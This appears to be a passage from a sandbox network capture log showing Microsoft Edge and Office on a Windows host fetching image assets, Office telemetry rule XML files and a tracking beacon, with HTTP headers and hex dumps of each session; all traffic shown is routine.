73	192.168.2.5	49852	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 6791c8a0-e01e-0022-165f-3f0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172845Z-178bfbc474bvjk8shC1NYC83ns00000007qg000000002hn8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-178bfbc474bbbqrhhC1NYCvw7400000007tg00000000wm3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c24f93c3-601e-00ab-62a8-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172845Z-178bfbc474bfw4gbhC1NYCunf400000007u0000000009my7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a4295f9d-401e-008c-2e0a-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172846Z-15b8b599d88pxmdghC1TEBux9c00000006a000000000kea9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:45 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172846Z-178bfbc474bv587zhC1NYCny5w00000007gg00000000wu51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49861	18.238.49.74	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	1012	OUT	GET /b2?rn=1732555723260&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C9027A36A1F6A1B109A32E16B066B17&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=14D0db3125068df9c7043011732555724; XID=14D0db3125068df9c7043011732555724
2024-11-25 17:28:46 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 17:28:46 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 83f903d51f378add519d351aa3b07052.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: WZjj7HF3b8OgXRhKlH-AXxVRBTVWN_Hr4uYe0wxgMkfX3Vl_y85bRQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49865	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=243693 Expires: Thu, 28 Nov 2024 13:10:19 GMT Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:46 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49866	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=376000 Expires: Sat, 30 Nov 2024 01:55:26 GMT Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:46 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49864	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=261921 Expires: Thu, 28 Nov 2024 18:14:07 GMT Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:46 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49863	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=71960 Expires: Tue, 26 Nov 2024 13:28:06 GMT Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:46 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49862	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:46 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=359360 Expires: Fri, 29 Nov 2024 21:18:06 GMT Date: Mon, 25 Nov 2024 17:28:46 GMT Connection: close
2024-11-25 17:28:46 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 